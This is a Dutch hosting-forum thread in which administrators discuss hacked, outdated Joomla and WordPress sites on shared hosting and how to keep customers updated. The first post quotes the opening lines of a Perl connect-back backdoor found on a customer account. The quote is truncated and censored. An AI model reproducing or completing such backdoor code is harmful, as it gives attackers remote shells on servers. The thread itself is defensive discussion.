Onderwerp: Oude onveilige Joomla en Wordpress installaties

Het fijne van shared hosting zijn natuurlijk de populaire pakketten zoals Joomla en Wordpress. Het is vooral fijn (NOT!) als je gebruikers te lui zijn of gewoon niet weten deze scripts te updaten wanneer het nodig is met als gevolg oude bekenden zoals dit:

Code:

#!/usr/bin/perl
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] \n";
exit(1);
}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];

En zo gaat het maar door...
CENSORED!

Mijn vraag is wat jullie eigenlijk doen om dit te voorkomen? Is het uberhaupt wel te voorkomen zolang klanten zelf kunnen bepalen wat zij installeren?

Of je moet al al je klanten willen controleren, maar ik denk dat er geen oplossing voor is.
Dat automatiseren lijkt me problematisch

Er zijn wel scanners die je directories scannen naar de versies van deze pakketten maar het is ook vooral zorg dat de rest van je server dicht zit. In dit geval konden ze niet verder komen dan het account van de klant zelf maar dat kan op zich al genoeg zijn natuurlijk.

Je kan klanten dwingen om Installatron (of een vergelijkbare oplossing) te gebruiken. Je kan dan in ieder geval altijd inzien welke versie ze gebruiken en eventueel upgraden.

Ik doe het niet zo en zou het niet snel zo doen omdat het niet klantvriendelijk is, maar het is een mogelijke oplossing.

Wordpress vanaf 2.7 heeft een auto-updater en geeft een alert. Een erg goede zet denk ik.
Joomla - en met name de ranzige modulen - heeft dit niet. Daar zijn ook vaak problemen mee.
Zelf gebruik ik inderdaad een stapel bash-scripts op servers die in beheer staan om zo nu en dan de boosdoeners op te zoeken. Gelukkig draait Apache onder mod_ruid op bijna alles wat ik beheer, dus zodra er ranzigheid in de /tmp staat, is het meteen te herleiden naar de user(name).

Ja, met shared hosting blijft het toch helaas moeilijk. Wij leveren bijvoorbeeld wordpresspaketten die we ook zelf up to date houden, dan hou je de controle. Maar de klanten die een shared hostingaccountje installeren en daar brakke software op knallen...

Je hebt ook genoeg klanten die lekke mailforms of andere velden op hun site plaatsen..

Als wij het constaateren melden we het, maar je kunt niet altijd alles zien helaas.

Hier promote ik installatron flink, uiteraard dwing ik niet...
Er draait veel middels installatron ook omdat klanten het fijn vinden denk ik, makkelijk te overzien. Het blijft helaas vervelend maargoed hoort erbij zeg ik maar...

Ookal heb je installatron, dit wilt nog niet zeggen dat elke klant dmv dit systeem zijn website installeerd, dus zekerheid heb je met installatron ook niet. Moet wel toe geven dat dit een fijne tool is.

Dat is inderdaad een drama. Hier hetzelfde. Zojuist nog een site suspend.
Maar ook met installatron ben je dit niet voor, dan nog zijn er mensen die niet snappen / weten dat je moet upgraden. Of die het gewoon niet doen doordat het teveel moeite is.

En er is natuurlijk veel last van Gumblar.

Oorspronkelijk geplaatst door DeziWeb

Maar ook met installatron ben je dit niet voor, dan nog zijn er mensen die niet snappen / weten dat je moet upgraden. Of die het gewoon niet doen doordat het teveel moeite is.

Klopt, maar je kan dan als admin wel zien wie het niet doet, hooguit mail sturen of een mailing eruit gooien dat iedereen moet updaten voor x datum anders doe je het forced.
Niet zo heel fijn voor je klanten maar als het script echt brak is...

Wat je dan wel hebt is dat je het overgrote deel wel overziet, das tenminste iets.
Maar zoals eerder gezegd, het blijft k*t.

Oorspronkelijk geplaatst door Randy

Wordpress vanaf 2.7 heeft een auto-updater en geeft een alert. Een erg goede zet denk ik.

en dan heb je nog mensen die te lui zijn om te upgraden
en wel aankloppen bij je als ze gehackt zijn

De update functie in Wordpress is handig maar in veel gevallen niet te doen als je verder weinig verstand van zaken hebt natuurlijk. Als je een flinke template (custom?) gebruikt met verschillende plugins is het niet altijd zomaar even op de update knop klikken en klaar.

Oorspronkelijk geplaatst door Domenico

De update functie in Wordpress is handig maar in veel gevallen niet te doen als je verder weinig verstand van zaken hebt natuurlijk. Als je een flinke template (custom?) gebruikt met verschillende plugins is het niet altijd zomaar even op de update knop klikken en klaar.

ik dacht juist van wel ...

Oorspronkelijk geplaatst door Ramoonus

ik dacht juist van wel ...

Nope!

Oorspronkelijk geplaatst door Domenico

Nope!

niet waar
als je wordpress draait kan je gewoon op updaten klikken
de plugins en thema`s blijven behouden
muv de standaard meegeleverde 2 thema`s en plugin